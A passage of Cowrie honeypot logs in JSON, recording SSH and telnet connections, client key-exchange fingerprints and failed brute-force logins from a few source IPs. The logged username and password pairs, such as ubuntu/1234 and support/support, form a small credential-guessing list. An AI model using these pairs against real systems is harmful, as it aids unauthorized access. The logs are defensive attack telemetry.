sa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:48.306734Z","src_ip":"192.109.200.78","session":"6a782a99784f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:48.554382Z","src_ip":"192.109.200.78","session":"6a782a99784f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46514,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef43704d9209","protocol":"ssh","message":"New connection: 176.65.139.95:46514 (159.203.135.109:22) [session: ef43704d9209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:49.619472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:49.623820Z","src_ip":"176.65.139.95","session":"ef43704d9209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:49.640620Z","src_ip":"192.109.200.78","session":"6a782a99784f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:49.730569Z","src_ip":"176.65.139.95","session":"ef43704d9209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:50.078093Z","src_ip":"176.65.139.95","session":"ef43704d9209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00234794616699,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:50.903651Z","src_ip":"212.252.78.49","session":"e7ed908a3f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:51.169870Z","src_ip":"176.65.139.95","session":"ef43704d9209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57292,"dst_ip":"159.203.135.109","dst_port":22,"session":"2899bde5247e","protocol":"ssh","message":"New connection: 192.109.200.78:57292 (159.203.135.109:22) [session: 2899bde5247e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:52.455919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:52.462194Z","src_ip":"192.109.200.78","session":"2899bde5247e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:52.544276Z","src_ip":"192.109.200.78","session":"2899bde5247e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:52.793097Z","src_ip":"192.109.200.78","session":"2899bde5247e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:53.880290Z","src_ip":"192.109.200.78","session":"2899bde5247e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46516,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6c1b34e8a9f","protocol":"ssh","message":"New connection: 176.65.139.95:46516 (159.203.135.109:22) [session: b6c1b34e8a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:55.969771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:55.976856Z","src_ip":"176.65.139.95","session":"b6c1b34e8a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:56.053300Z","src_ip":"176.65.139.95","session":"b6c1b34e8a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":14293,"dst_ip":"159.203.135.109","dst_port":23,"session":"32dbcf2e2b49","protocol":"telnet","message":"New connection: 212.252.78.49:14293 (159.203.135.109:23) [session: 32dbcf2e2b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:56.080305Z"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:56.424569Z","src_ip":"176.65.139.95","session":"b6c1b34e8a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57294,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b1f05bd5bbf","protocol":"ssh","message":"New connection: 192.109.200.78:57294 (159.203.135.109:22) [session: 0b1f05bd5bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:56.516840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:56.523387Z","src_ip":"192.109.200.78","session":"0b1f05bd5bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:56.600315Z","src_ip":"192.109.200.78","session":"0b1f05bd5bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:56.921533Z","src_ip":"192.109.200.78","session":"0b1f05bd5bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:57.546782Z","src_ip":"176.65.139.95","session":"b6c1b34e8a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:58.300060Z","src_ip":"192.109.200.78","session":"0b1f05bd5bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40824,"dst_ip":"159.203.135.109","dst_port":22,"session":"290e9dd0e993","protocol":"ssh","message":"New connection: 192.109.200.78:40824 (159.203.135.109:22) [session: 290e9dd0e993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:00.825623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:00.830236Z","src_ip":"192.109.200.78","session":"290e9dd0e993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:00.916445Z","src_ip":"192.109.200.78","session":"290e9dd0e993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:01.163408Z","src_ip":"192.109.200.78","session":"290e9dd0e993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:02.248618Z","src_ip":"192.109.200.78","session":"290e9dd0e993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45094,"dst_ip":"159.203.135.109","dst_port":22,"session":"7faafc7a3e90","protocol":"ssh","message":"New connection: 176.65.139.95:45094 (159.203.135.109:22) [session: 7faafc7a3e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:02.271674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:02.276859Z","src_ip":"176.65.139.95","session":"7faafc7a3e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:02.404468Z","src_ip":"176.65.139.95","session":"7faafc7a3e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:02.681340Z","src_ip":"176.65.139.95","session":"7faafc7a3e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:03.788784Z","src_ip":"176.65.139.95","session":"7faafc7a3e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":40832,"dst_ip":"159.203.135.109","dst_port":22,"session":"a38fc91a0092","protocol":"ssh","message":"New connection: 192.109.200.78:40832 (159.203.135.109:22) [session: a38fc91a0092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:04.897125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:04.941483Z","src_ip":"192.109.200.78","session":"a38fc91a0092","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:05.091955Z","src_ip":"192.109.200.78","session":"a38fc91a0092","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:05.490974Z","src_ip":"192.109.200.78","session":"a38fc91a0092","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:06.593662Z","src_ip":"192.109.200.78","session":"a38fc91a0092","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.92.40.117","src_port":51842,"dst_ip":"10.17.0.5","dst_port":23,"session":"815643a92c54","protocol":"telnet","message":"New connection: 103.92.40.117:51842 (10.17.0.5:23) [session: 815643a92c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:07.268254Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55310,"dst_ip":"159.203.135.109","dst_port":22,"session":"576e6d4325d1","protocol":"ssh","message":"New connection: 176.65.139.95:55310 (159.203.135.109:22) [session: 576e6d4325d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:08.802252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:08.808691Z","src_ip":"176.65.139.95","session":"576e6d4325d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 